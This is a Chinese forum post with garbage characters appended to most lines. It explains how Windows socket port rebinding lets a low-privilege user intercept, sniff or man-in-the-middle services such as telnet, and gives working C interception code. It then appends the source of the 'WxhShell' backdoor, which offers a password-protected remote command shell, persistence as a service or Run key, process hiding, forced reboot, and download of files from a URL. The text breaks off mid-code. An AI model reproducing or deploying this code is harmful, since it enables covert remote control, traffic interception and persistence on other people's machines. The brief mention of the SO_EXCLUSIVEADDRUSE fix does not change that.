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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !.$I["/=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~hH REI&  
w_c"@CjkE  
  saddr.sin_family = AF_INET; <V'@ks%  
L- iy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }v;V=%N+v  
%QH$ipM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _{O>v\u  
3Aip}<1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mexk~z A^  
sjTZF-  
  这意味着什么?意味着可以进行如下的攻击: S>+|OCl";  
hNiE\x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^#-l q)  
@s>Czm5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  N];NAMp  
dbLZc$vPj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >=lC4Tu  
G>_*djUf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2szPAuN+  
GAzU?a{S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H'5)UX@LP  
eIF5ZPSZi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?,Xw[pR  
%`r$g[<G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5pG}Yk_(x  
tFn)aa~L  
  #include n80?N}  
  #include JG. y,<xW  
  #include g axsv[W>^  
  #include    +^ac'Y)A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P:S.~Jq  
  int main() A  'be8  
  { @s&71a  
  WORD wVersionRequested; Q}JOU  
  DWORD ret; BVQqY$>  
  WSADATA wsaData; |i*37r6]=  
  BOOL val; u#fM_>ML  
  SOCKADDR_IN saddr; /62!cp/F/D  
  SOCKADDR_IN scaddr; ,KZ~?3$yj  
  int err; TqQB@-!  
  SOCKET s; /HEw-M9z  
  SOCKET sc; j;Gtu  
  int caddsize; 7WqH&vU|  
  HANDLE mt; wu6;.xTLl  
  DWORD tid;   Paq4  
  wVersionRequested = MAKEWORD( 2, 2 ); nAato\mM  
  err = WSAStartup( wVersionRequested, &wsaData ); j_[tu!~  
  if ( err != 0 ) { +E+p"7  
  printf("error!WSAStartup failed!\n"); z9Mfd#5?>P  
  return -1; E~T-=ocKE  
  } n6>#/eUH  
  saddr.sin_family = AF_INET; ]cvwIc">  
   0auYG><=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >uB?rGcM  
b_krk\e@S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aKDKmHd  
  saddr.sin_port = htons(23); ;1=1:S8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xa*hi87L*  
  { }&D WaO]J7  
  printf("error!socket failed!\n"); {WS;dX4  
  return -1; klYX7?  
  } Dpac^ST  
  val = TRUE; c#]4awHU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3`?7 <YJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T<>,lQs(a  
  { qkqIV^*R  
  printf("error!setsockopt failed!\n"); Q\vpqE! 9  
  return -1; zI uJ-8T"  
  } 1H`,WQ1mG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =I5>$}q_&,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'oVx#w^mf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n&/ `  
Lb-OsKU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  > |=ts  
  {  }v{LRRi  
  ret=GetLastError(); $wa{~'  
  printf("error!bind failed!\n"); Vp\,CuQ  
  return -1; LOYk9m  
  } G!##X: 6'  
  listen(s,2); C.P*#_R  
  while(1) e%M;?0j  
  { =XQ%t @z0  
  caddsize = sizeof(scaddr); {S \{Ii6  
  //接受连接请求 MN>b7O \.?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ATyEf5Id_  
  if(sc!=INVALID_SOCKET) lVa%$F{Pq  
  { j;r-NCBnz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {Xy5pfW Q  
  if(mt==NULL) JR|ck=tq  
  { 1I6px$^E\  
  printf("Thread Creat Failed!\n"); r;2^#6/Z  
  break; .Hm>i  
  } >:!5*E5?  
  } _f,C[C[e&  
  CloseHandle(mt); ({_{\9O,3  
  } c6]U E@A  
  closesocket(s); T>Z<]s  
  WSACleanup(); 0mVNQxHI  
  return 0; qR{=pR  
  }   hfTY.  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?^{Ah}x  
  { Izc\V9+  
  SOCKET ss = (SOCKET)lpParam; %1L,Y  
  SOCKET sc; kD%( _K5  
  unsigned char buf[4096]; }8z?t:|S  
  SOCKADDR_IN saddr; ]W!0$'o  
  long num; "k@/ 3  
  DWORD val; \)[j_^  
  DWORD ret; Q&;9 x?e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?V=ZIGj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r u%y  
  saddr.sin_family = AF_INET; EZGIf/ 3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *^4"5X@  
  saddr.sin_port = htons(23); eByz-,{P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <lPG=Xt  
  { *&W"bOMH*  
  printf("error!socket failed!\n"); A)!*]o>U  
  return -1; x,- 75  
  } J@'wf8Ub  
  val = 100; "S]TP$O D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jr. "I+  
  { G` A4|+W"  
  ret = GetLastError(); zw[m9N5\h  
  return -1; BU_nh+dF  
  } AT3Mlz~7#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _{KG 4+5\X  
  { ND;#7/$>  
  ret = GetLastError(); cI*;k.KU  
  return -1; p2](_}PK  
  } Kc-W&?~y#1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fr3d  
  { y%T_pTcU  
  printf("error!socket connect failed!\n"); kevrsV]/$  
  closesocket(sc); /3T1U  
  closesocket(ss); 7$=In K  
  return -1; KpGhQdR#  
  } "+s++@ z  
  while(1) =,8]nwgo  
  { HV|,}Wks6s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r19 pZAc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Otuf] B^s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S\=Nn7"  
  num = recv(ss,buf,4096,0); H <l7ZS:  
  if(num>0) a=2%4Wmz  
  send(sc,buf,num,0); ##*3bDf$-5  
  else if(num==0) R 9\*#c  
  break; 3pKQ$\u  
  num = recv(sc,buf,4096,0); K%oG,-wdg  
  if(num>0) D,feF9  
  send(ss,buf,num,0); ?tbrbkx  
  else if(num==0) wHy!CP%  
  break; fZF@k5*\  
  } ICQKP1WFp  
  closesocket(ss); .q>iXE_c  
  closesocket(sc); C'x&Py/#  
  return 0 ; :o3N;*o>)0  
  } l_p2Riv  
,J@  
GTd,n=  
========================================================== #6=  
rILYI;'o  
下边附上一个代码,,WXhSHELL l f, 5w  
ms]sD3z/W+  
========================================================== 7 <R E_/]  
4r}51 N\  
#include "stdafx.h" ?@86P|19  
;Y, y4{H3  
#include <stdio.h> ~DwpoeYX  
#include <string.h> e^voW"?%  
#include <windows.h> <5051U Eu  
#include <winsock2.h> 2+XA X:YD  
#include <winsvc.h> ;V!D :5U  
#include <urlmon.h> @VEb{ w[H  
|6- nbj  
#pragma comment (lib, "Ws2_32.lib") mfr|:i  
#pragma comment (lib, "urlmon.lib") z{QqY.Gu{G  
75lA%| *X  
#define MAX_USER   100 // 最大客户端连接数 N!}f}oF  
#define BUF_SOCK   200 // sock buffer %N._w!N<5n  
#define KEY_BUFF   255 // 输入 buffer ]-# DB^EQ  
uY To 9A  
#define REBOOT     0   // 重启 W>r+h-kR  
#define SHUTDOWN   1   // 关机 J&_n9$  
RA 6w}:sq7  
#define DEF_PORT   5000 // 监听端口 ;xTpE2 -~  
SXh-A1t  
#define REG_LEN     16   // 注册表键长度 "tK=+f`NM  
#define SVC_LEN     80   // NT服务名长度 PKz':_|  
!N^@4*  
// 从dll定义API m&3xJuKih  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~} ~4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R;LP:,)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OyIw>Wfv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "AqB$^S9t  
8oGRLYU N  
// wxhshell配置信息 2 %]X+`+O  
struct WSCFG { $??I/6  
  int ws_port;         // 监听端口 HPVEnVn  
  char ws_passstr[REG_LEN]; // 口令 d'> x(Yi  
  int ws_autoins;       // 安装标记, 1=yes 0=no QJ;2ZN,  
  char ws_regname[REG_LEN]; // 注册表键名 t uX|\X  
  char ws_svcname[REG_LEN]; // 服务名 ueNS='+m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *un^u-;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pxi3PY?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #'}*dy/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :`sUt1Fw.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h68 xet;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &p,]w~d,U  
]?4hyN   
}; (9)Q ' 'S  
$~)SCbL^5  
// default Wxhshell configuration 3so %gvY.'  
struct WSCFG wscfg={DEF_PORT, l]SX@zTb  
    "xuhuanlingzhe",  ='jT~ \  
    1, zbiLP83  
    "Wxhshell", r JB}qYD  
    "Wxhshell", Z_NCD`i;  
            "WxhShell Service", eMzk3eOJ  
    "Wrsky Windows CmdShell Service", ar,7S&s H  
    "Please Input Your Password: ", \U_@S.  
  1, eO1lnO|  
  "http://www.wrsky.com/wxhshell.exe", {;oPLr+Z  
  "Wxhshell.exe" J}t%p(mb  
    }; :(%5:1W  
lTsjxw o  
// 消息定义模块 <UCl@5g&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dh\P4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =(^3}x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l^ }c!  
char *msg_ws_ext="\n\rExit."; j<$2hiI/?&  
char *msg_ws_end="\n\rQuit."; l,).p  
char *msg_ws_boot="\n\rReboot..."; HaYo!.(Fv  
char *msg_ws_poff="\n\rShutdown..."; 2<3K3uz  
char *msg_ws_down="\n\rSave to "; !R$`+wZ62  
\)e'`29;  
char *msg_ws_err="\n\rErr!"; 6LhTBV  
char *msg_ws_ok="\n\rOK!"; d;>QhoiL  
KPki}'GO  
char ExeFile[MAX_PATH]; CC`JZ.SO  
int nUser = 0; $cg cX  
HANDLE handles[MAX_USER]; Hr C+Yjp  
int OsIsNt; xz]~ jL@-]  
a'T;x`b8U,  
SERVICE_STATUS       serviceStatus; dr"1s-D4IQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x1a:u  
f QFk+C  
// 函数声明 <3 uNl  
int Install(void); '%;m?t% q  
int Uninstall(void); Dp:BU|r  
int DownloadFile(char *sURL, SOCKET wsh); vQ.R{!",>  
int Boot(int flag); EM_d8o)`B  
void HideProc(void); gM]:Ma  
int GetOsVer(void); d zMb5puH  
int Wxhshell(SOCKET wsl); Gm`8q}<I  
void TalkWithClient(void *cs); .)3<Q}>  
int CmdShell(SOCKET sock); TqQ[_RKg2  
int StartFromService(void); ^z\cyT%7t  
int StartWxhshell(LPSTR lpCmdLine); Nboaf  
OTv)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \7_y%HR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \<K5ZIWV  
zm#  ?W  
// 数据结构和表定义 9H~n _   
SERVICE_TABLE_ENTRY DispatchTable[] = n+p }\msH  
{ &&%H%9  
{wscfg.ws_svcname, NTServiceMain}, 9M ]_nPY  
{NULL, NULL} {{1G`;|v 9  
}; =MWHJ'3-/  
3c%caK  
// 自我安装 g2]Qv@nxw  
int Install(void) _v:SP LU  
{ `@%LzeGz  
  char svExeFile[MAX_PATH]; ` %}RNC  
  HKEY key; ]###w;  
  strcpy(svExeFile,ExeFile); 4e  
y>LBl]  
// 如果是win9x系统,修改注册表设为自启动 06jQE2z2R  
if(!OsIsNt) { tX[WH\(xI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bd`P0f?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F[MFx^sT{  
  RegCloseKey(key); T4F/w|Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SfR%s8c`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _dU\JD  
  RegCloseKey(key); Xc.`-J~Il  
  return 0; {G-kNU  
    } 1mJ Hued=6  
  } sRfcF`7  
} c",*h  
else { }a/Cro.~4  
8EY:t zw  
// 如果是NT以上系统,安装为系统服务 (% 9$!v{3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0{mex4  
if (schSCManager!=0) 5R7DDJk  
{ ( 5~h"s  
  SC_HANDLE schService = CreateService 1x^GWtRp  
  ( D'4\*4is  
  schSCManager, Hp?/a?\Xm  
  wscfg.ws_svcname, #E]59_  
  wscfg.ws_svcdisp, 4K74=r),i  
  SERVICE_ALL_ACCESS, f mGc^d|=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JS77M-Ac  
  SERVICE_AUTO_START, 92{\B- l  
  SERVICE_ERROR_NORMAL, xD$\,{  
  svExeFile, .C(tMF]D,  
  NULL, JI5Dy>u:  
  NULL, X?Au/  
  NULL, 'q.!|G2U  
  NULL, .^.z2 e  
  NULL ce(#2o&`  
  ); Ca\6vR  
  if (schService!=0) N21smC}  
  { w =KPT''!  
  CloseServiceHandle(schService); %)n=x ne  
  CloseServiceHandle(schSCManager); lfg6646?S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WhDJ7{D  
  strcat(svExeFile,wscfg.ws_svcname); 4P0}+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 11lsf/IP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D{!IW!w  
  RegCloseKey(key); EV?z`jE9  
  return 0; W!<U85-#S  
    } j.YA 2mr  
  } +|rj4j)L&'  
  CloseServiceHandle(schSCManager); _*zt=zn>  
} SAz   
} OJxl<Q=z  
}\LQ3y"[  
return 1; nDW9NQ  
} W>LR\]Ti@  
D,6:EV"sa  
// 自我卸载 t&p|Ynz?i  
int Uninstall(void) 'PHl$f*k  
{ +h$ 9\  
  HKEY key; _-\#i  
4I7>f]=)  
if(!OsIsNt) { #/]nxW.S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,vDbp?)'U  
  RegDeleteValue(key,wscfg.ws_regname); d'2A,B~_*  
  RegCloseKey(key); HTtnXBJ)*H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w>YDNOk  
  RegDeleteValue(key,wscfg.ws_regname); <uJ@:oWG7  
  RegCloseKey(key); qWw=8Bq  
  return 0; \DzGQ{`~m  
  } yHGADH0B  
} pXUSLs  
} (#'>(t(4  
else { @@%ataUSBT  
;PH~<T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #1[u (<AS  
if (schSCManager!=0) =QsYXK7Mn4  
{ =T_g}pu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a9G8q>h]O  
  if (schService!=0) Xeaj xcop#  
  { [gB+C84%%  
  if(DeleteService(schService)!=0) { u&NV,6Fj2[  
  CloseServiceHandle(schService); Q20 %"&Xp]  
  CloseServiceHandle(schSCManager); he4(hX^  
  return 0; M`>E|" <  
  } 1"g<0 W  
  CloseServiceHandle(schService); >V~E]P%@  
  } Lv%x81]K  
  CloseServiceHandle(schSCManager); 26nx`w?j(  
} $C\BcKlmv  
} 4Up/p&1@  
MJvp6n  
return 1; Vc2`b3"Br  
} `9 L>*  
PM+[,H  
// 从指定url下载文件 =}*0-\QG  
int DownloadFile(char *sURL, SOCKET wsh) G2Zer=rC  
{ *or(1DXP8  
  HRESULT hr; ]oxZ77ciL  
char seps[]= "/"; "fI6Cpc  
char *token; '%D7C=;^  
char *file; c:0L+OF}xY  
char myURL[MAX_PATH]; JO;Uus{?  
char myFILE[MAX_PATH]; w@b)g  
(?c-iKGc  
strcpy(myURL,sURL); pGZ8F  
  token=strtok(myURL,seps); G9lUxmS<  
  while(token!=NULL) 7"mc+QOp  
  { Zh,71Umz  
    file=token; g ?k=^C  
  token=strtok(NULL,seps); IU[ [ H#  
  } #jk_5W  
TO_e^A#  
GetCurrentDirectory(MAX_PATH,myFILE); `g,..Ns-r  
strcat(myFILE, "\\"); Ngwb Q7)  
strcat(myFILE, file); WM{=CD  
  send(wsh,myFILE,strlen(myFILE),0); xmX 4qtAL  
send(wsh,"...",3,0); p[-O( 3Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G"6 !{4g  
  if(hr==S_OK) O}P`P'Y|'  
return 0; *fdTpXa  
else KP"+e:a%  
return 1; Rv=YFo[B  
;,TFr}p`  
} Th%zn2R B  
>V937  
// 系统电源模块 yuVs YV@"  
int Boot(int flag) GmG 5[?)  
{ AdmC&!nH  
  HANDLE hToken; :+Z%; Dc  
  TOKEN_PRIVILEGES tkp; 6mE\OS-I  
>Q/Dk7#  
  if(OsIsNt) { VQs5"K"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [e q&C_|D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :U\tv[  
    tkp.PrivilegeCount = 1; :Al!1BJQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5bIw?%dk(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SKtrtm  
if(flag==REBOOT) { OVJ0}5P*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =vPj%oLp'a  
  return 0; lk!@?  
} =-T]3!   
else { fox6)Uot  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yX5\gO6G  
  return 0; FlQGg VN  
} @c#(.=  
  } 7P T{lT  
  else { *I+Q~4  
if(flag==REBOOT) { b'g )  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,I9bNO,%JK  
  return 0; BWNi [^]  
} >eaaaq9B-  
else { so; ]&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G5!^*jf  
  return 0; \^LFkp  
} <$YlH@;)`a  
} Lr+$_ t}r  
u ?"Vm  
return 1; >ef6{URy<  
} 6LZCgdS{  
H+#FSdy#  
// win9x进程隐藏模块 *v`eUQ:  
void HideProc(void) &[9709 (=  
{ r^ XVB`v  
jCY %|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :]"V-1#}  
  if ( hKernel != NULL ) gIfh3D=yX  
  { uO**E-`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <%^&2UMg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FwK] $4*  
    FreeLibrary(hKernel); ,+VGSd  
  } SJLis"8  
7=uj2.J6  
return; 2eogY#  
} [Pp'Ye~K@c  
k+ /6$pI  
// 获取操作系统版本 46x'I(  
int GetOsVer(void) xo)P?-  
{ [UR-I0 s!/  
  OSVERSIONINFO winfo; @iiT<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hoP]9&<T  
  GetVersionEx(&winfo); / 1RpM]d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Y! a6h+  
  return 1; VUc%4U{Cti  
  else ("@!>|H  
  return 0; } \f0 A-  
} Mt$ *a  
B?QIN]  
// 客户端句柄模块 s.rm7r@ #  
int Wxhshell(SOCKET wsl) s"|Pdc4  
{ V#HuIgf-  
  SOCKET wsh; im8CmQ  
  struct sockaddr_in client; B~mj 8l4  
  DWORD myID; :s,Z<^5a)g  
~u{uZ(~  
  while(nUser<MAX_USER) SM '|+ d  
{ 0K+ne0I  
  int nSize=sizeof(client); 1 zZlC#V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |)&%A%m  
  if(wsh==INVALID_SOCKET) return 1; GyIV Hby  
#c J@uqR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7$b1<.WX  
if(handles[nUser]==0) .`lCWeHN  
  closesocket(wsh); 6863xOv{T  
else 1oS/`)  
  nUser++; wY#E?,  
  } R-:2HRaA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?[AD=rUC  
0sqFF[i  
  return 0; HQ g^ h  
} w]H->B29C  
sK{e*[I>W  
// 关闭 socket 9x8fhAy}4  
void CloseIt(SOCKET wsh) 5R-6ji  
{ b 6p|q_e  
closesocket(wsh); 0[`^\Mv4y  
nUser--; Y73C5.dNcE  
ExitThread(0); :h$$J lP  
} 0f/<7R  
s1rCpzK0  
// 客户端请求句柄 pRqx`5 }  
void TalkWithClient(void *cs) ixFi{_  
{ .8R@2c`}Cs  
m*pJBZxd  
  SOCKET wsh=(SOCKET)cs; 6<]lW  
  char pwd[SVC_LEN]; 2iOV/=+  
  char cmd[KEY_BUFF]; UZMd~|  
char chr[1]; S!UaH>Rh  
int i,j; 3<!7>]A  
&&+H+{_Q  
  while (nUser < MAX_USER) { ]'}L 1r  
)UR7i8]!0  
if(wscfg.ws_passstr) { VRMXtQ*1Dm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E.TAbD&5(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,2q-D&)\Z  
  //ZeroMemory(pwd,KEY_BUFF);  &HW9Jn  
      i=0; O?2DQY?jT  
  while(i<SVC_LEN) { +nL[MSw  
![1rzQvGDb  
  // 设置超时 -~1~I e2  
  fd_set FdRead; Tx D#9]Q`  
  struct timeval TimeOut; 2 nCA<&  
  FD_ZERO(&FdRead); $]d^-{|  
  FD_SET(wsh,&FdRead); E fDH6  
  TimeOut.tv_sec=8; 6 N4~~O  
  TimeOut.tv_usec=0; \85i+q:LuA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gJXaPJA{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }OUtsh]y  
AKC`TA*E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8=l%5r^cq  
  pwd=chr[0]; kj_c%T ]/  
  if(chr[0]==0xd || chr[0]==0xa) { ,prf;|e?  
  pwd=0; XTy x r  
  break; t# i #(H  
  } b;n[mk  
  i++; az$FnVNn=  
    } v+XJ*N[W  
^sw?gH*  
  // 如果是非法用户,关闭 socket Ew N}l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0S"MC9beg  
} ;TYBx24vD'  
K-4PI+qQ\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _b 0& !l<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n S=W1zf  
  ep8  
while(1) { 1#x0q:6  
Da|z"I x  
  ZeroMemory(cmd,KEY_BUFF); D~m*!w*  
q m}@!z^  
      // 自动支持客户端 telnet标准   d0D] Q  
  j=0; ^!d3=}:0  
  while(j<KEY_BUFF) { vN:Ng  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6T8^Nt  
  cmd[j]=chr[0]; )GpK@R]{  
  if(chr[0]==0xa || chr[0]==0xd) { d=(mw_-?  
  cmd[j]=0; LoV<:|GTI  
  break; occ7zcA  
  } ]Um/FAW  
  j++; jd: 6:Fm  
    }  R&&4y 7  
A^g(k5M*  
  // 下载文件 Nb\4 /;#  
  if(strstr(cmd,"http://")) { &~CI<\o P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V0@=^Bls  
  if(DownloadFile(cmd,wsh)) LVGe]lD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xvu(vA  
  else vP&(-a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aN?zmkPpov  
  } /: "1Z]@  
  else { a(nlTMfu  
dd;~K&_Q/i  
    switch(cmd[0]) { 4Z*/WsCv  
  )7F/O3Tq  
  // 帮助 4RO}<$Nx}  
  case '?': { 4s- !7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e ,(mR+a8  
    break; sC'` ~}C  
  } G{}VPcrbC  
  // 安装 @JMiO^  
  case 'i': { fhiM U8(&  
    if(Install()) $4LzcwG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {) XTk &"  
    else 79gT+~z   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N8jIMb'<  
    break; <~)P7~$d?p  
    } k[xSbs'D  
  // 卸载 Ud?Q%) X  
  case 'r': { x5Bk/e'  
    if(Uninstall()) )A6<c%d =x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\~}3!j  
    else /uflpV|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Cv!,]9:r  
    break; ( .:e,l{U%  
    } y[;>#j$  
  // 显示 wxhshell 所在路径 l?e.9o2-  
  case 'p': { N~Jda o  
    char svExeFile[MAX_PATH]; r!v\"6:OM  
    strcpy(svExeFile,"\n\r"); D.:Zx  
      strcat(svExeFile,ExeFile); ?,z}%p  
        send(wsh,svExeFile,strlen(svExeFile),0); $Sq:q0  
    break; wk^B"+Uhy  
    } IGl9 g_18  
  // 重启 M`_0C38  
  case 'b': { HMXE$d=[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BmT!aue  
    if(Boot(REBOOT)) i!Ba]n   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gc?a+T  
    else { _BufO7 `.  
    closesocket(wsh); K(4_a``05  
    ExitThread(0); 5BIY<B+i  
    } 4#D,?eA7  
    break; dtDFoETz  
    } /ZX }Nc g  
  // 关机 '1[Ft03  
  case 'd': { cAw/I@jG  
